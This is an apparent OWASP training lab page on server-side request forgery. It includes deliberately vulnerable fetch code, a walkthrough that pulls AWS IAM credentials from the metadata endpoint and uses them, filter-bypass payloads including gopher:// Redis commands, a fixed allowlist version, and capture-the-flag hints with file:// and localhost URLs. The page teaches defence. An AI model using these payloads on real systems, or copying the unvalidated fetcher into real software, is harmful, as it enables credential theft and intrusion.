๐Ÿ›ก OWASP Lab
A10:2021 High

Server-Side Request Forgery (SSRF)

Theory

SSRF is new to the OWASP Top 10 in 2021 (entering at #10) after being nominated directly by the security community. SSRF occurs whenever a web application makes an HTTP request to a URL that was supplied or influenced by the attacker, without validating that the destination is allowed. The server sends the request from its own network context โ€” bypassing firewalls, reaching internal services, and carrying the server's IAM/cloud credentials.

Why SSRF is Dangerous

  • Internal service access โ€” the server can reach services bound to 127.0.0.1 or internal VPC addresses that are invisible from the internet (Redis, Elasticsearch, Kubernetes API, Docker socket)
  • Cloud metadata endpoints โ€” http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns the instance's IAM credentials on AWS; similar endpoints exist on Azure and GCP
  • File read via file:// โ€” if the HTTP library supports file:// URIs, the attacker can read /etc/passwd, application source code, or private keys
  • Port scanning โ€” timing differences in responses allow the attacker to map open ports on the internal network
  • Blind SSRF โ€” the server makes the request but does not return the response to the attacker; still useful for port scanning and triggering webhooks on internal services

Vulnerable Code

import httpx

# VULNERABLE โ€” URL entirely user-controlled; no validation
@app.get("/fetch")
async def fetch(url: str):
    async with httpx.AsyncClient() as client:
        resp = await client.get(url)   # will reach 127.0.0.1, 169.254.169.254, file://, etc.
    return HTMLResponse(resp.text)

SSRF Attack Chain โ€” Cloud Metadata to Full Account Compromise

# Step 1: Probe for AWS metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/
# Response: lists available metadata keys

# Step 2: Get IAM credential name
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response: EC2InstanceRole

# Step 3: Get the actual credentials
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2InstanceRole
# Response:
# {
#   "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
#   "SecretAccessKey": "wJalrXUtnFEMI...",
#   "Token": "AQoDYXdzEJr..."
# }

# Step 4: Use credentials to access S3, enumerate resources, and exfiltrate data
AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI... aws s3 ls  # now operating as the EC2 instance's IAM role

Bypass Techniques for Naive SSRF Filters

# Filter blocks "127.0.0.1" literally โ€” bypass with equivalent representations:
http://2130706433/         # 127.0.0.1 as decimal integer
http://0x7f000001/         # 127.0.0.1 as hexadecimal
http://127.0.0.1.nip.io/  # DNS rebinding via wildcard DNS
http://[::1]/              # IPv6 loopback
http://localhost/          # hostname resolves to 127.0.0.1

# Filter blocks 169.254.x.x โ€” bypass:
http://169.254.169.254.xip.io/   # via public DNS
http://[fd00::1]/                 # link-local IPv6

# Protocol bypass:
dict://127.0.0.1:6379/           # Redis via DICT protocol
gopher://127.0.0.1:6379/_*1...   # Redis commands via Gopher (RCE if Redis has no auth)

Fixed Code โ€” Allowlist-Based SSRF Prevention

import ipaddress, socket
from urllib.parse import urlparse

ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}
BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),   # cloud metadata
    ipaddress.ip_network("::1/128"),
]

def validate_url(url: str) -> str:
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("Only http/https allowed")
    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError("Host not in allowlist")
    # Resolve DNS and check the resulting IP
    ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
    for blocked in BLOCKED_RANGES:
        if ip in blocked:
            raise ValueError("Destination IP is in a blocked range")
    return url

@app.get("/fetch")
async def fetch_safe(url: str):
    try:
        safe_url = validate_url(url)
    except ValueError as e:
        raise HTTPException(400, str(e))
    async with httpx.AsyncClient() as client:
        resp = await client.get(safe_url)
    return HTMLResponse(resp.text)

Real-World Breaches

  • Capital One (2019) โ€” A WAF EC2 instance had an SSRF vulnerability combined with an overly permissive IAM role. The attacker used SSRF to hit the metadata endpoint, retrieved credentials, and exfiltrated 100 million customer records from S3. $80M fine.
  • GitLab (2021) โ€” CVE-2021-22214: SSRF in the CI pipeline's "import project from URL" feature allowed reading files from the server and scanning internal services
  • MS Exchange ProxyShell (2021) โ€” Chain of vulnerabilities including SSRF allowed pre-auth RCE, leading to mass exploitation by ransomware groups
  • Confluence (2022) โ€” CVE-2022-26134: OGNL injection (a form of SSRF/RCE) exploited within hours of public disclosure; used by state actors and ransomware groups

How to Fix โ€” Checklist

  • Allowlist, not blocklist โ€” only permit requests to a known set of external hostnames. Blocklists are always bypassable
  • Resolve DNS then check IPs โ€” validate the resolved IP address, not just the hostname string, to prevent DNS rebinding
  • Block all RFC 1918 + link-local ranges โ€” 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16
  • Restrict URL schemes โ€” only allow http:// and https://; block file://, gopher://, dict://, ftp://
  • Use a dedicated egress proxy โ€” route all outbound application HTTP through a proxy with its own allowlist and logging
  • IMDSv2 on AWS โ€” require token-based metadata access so a single-request SSRF cannot read credentials
Challenge 1

SSRF โ€” Fetch Internal Flag Endpoint

The URL fetcher accepts any URL and makes a server-side request. Fetch an internal endpoint only accessible from localhost to retrieve the flag.

Hint
Try URL: http://127.0.0.1:8000/web/internal/a10-flag
Challenge 2

SSRF โ€” Read Local Files via file:// scheme

The same fetcher also accepts file:// URLs, allowing you to read files from the container's filesystem.

Hint
Try URL: file:///app/ssrf_flag.txt